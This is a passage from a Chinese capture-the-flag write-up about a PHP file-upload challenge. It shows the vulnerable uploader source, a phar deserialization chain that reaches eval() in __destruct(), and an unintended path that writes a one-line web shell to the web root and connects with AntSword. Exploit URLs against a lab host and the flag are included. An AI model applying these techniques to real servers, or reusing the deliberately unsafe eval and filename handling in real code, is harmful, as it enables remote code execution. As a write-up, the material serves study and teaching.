if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

function upload($file){
global $sandbox;
global $ext;

if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}

function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}

?>

同理也可得到home.php的源码,不过没有毛用

后面的操作分为”phar反序列化rce”和”非预期直接getshell”两种方法

phar反序列化RCE

这是预期解法,所以先介绍这种方法。
审计upload.php代码:

1
$this->Filename = $_GET['name'];

可见$this->Filename是可控的,可以通过name参数以get方式得到
分析最后上传部分的代码

1
2
3
if(@file_get_contents($uploader)){
echo "ä¸‹é¢æ˜¯ä½ ä¸Šä¼ çš„æ–‡ä»¶ï¼š".$uploader.""; echo file_get_contents($uploader);
}

file_get_contents()使$uploader对象通过__toString()返回$this->Filename,由于phar://伪协议可以不依赖unserialize()直接进行反序列化操作,加之$this->Filename可控,因此此处$this->Filename配合phar反序列化后,__destruct()方法内eval($this->cmd);最终导致了远程代码执行 知道了这个思路,后面的事情就简单多了
由于__destruct()方法中,想要eval($this->cmd);的前提条件是$this->token$_SESSION[‘user’]相等

1
2
3
4
5
6
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}

__construct()方法中可见如下两行代码

1
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/"; $this->Filename = $sandbox.$_SESSION['user'].$ext;

因此可以先随便上传一个txt,得到的路径中,.txt前面的就是$_SESSION[‘user’]

上传txt文件

首先生成phar文件

生成phar文件

注意要将php.ini中的phar.readonly设置为off

设置php.ini

然后将生成的phar上传

上传phar文件

得到路径

/var/www/html/uploads/6cc53bf383ddeaaa6d5ddc8d05758e86/GXYf966ca9e09125316b6bcc3a137f15449.txt

然后将这个路径带上phar://作为name参数的值,再随意上传一个文件,因为$this->Filename被我们手工指定为phar,触发了phar反序列化导致命令执行。
最终exp:

http://172.21.4.12:10041/home.php?file=upload&name=phar:///var/www/html/uploads/6cc53bf383ddeaaa6d5ddc8d05758e86/GXYf966ca9e09125316b6bcc3a137f15449.txt

传任意文件后,得到flag

得到flag

非预期解法:直接GETSHELL

这是我做题时候用的方法,甚至不需要phar,属实迷惑行为 爆破密码登录,base64读upload.php源码,这都和上面一样。
审计upload.php的代码,发现在__construct()方法内$this->Filename可控

1
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; }

upload()内,只要文件小于1024,就将上传文件到$this->Filename

1
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";

那我们只要使$this->Filename/var/www/html/uploads/1.php,然后上传一个txt的一句话即可getshell

EXP:

http://172.21.4.12:10041/upload.php?name=/var/www/html/uploads/y1ng.php

上传一个txt的一句话

上传txt一句话

题目不太好使,要传两三次才能成功

多上传几次

蚁剑之

中国蚁剑

flag为:GXY{phar_1s_s0_danger}

不得不说,多打了空格导致非预期1s_s0_danger_too哈哈哈哈

参考链接


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达,可以邮件至 xingshuaikun@163.com。

×

喜欢就点赞,疼爱就打赏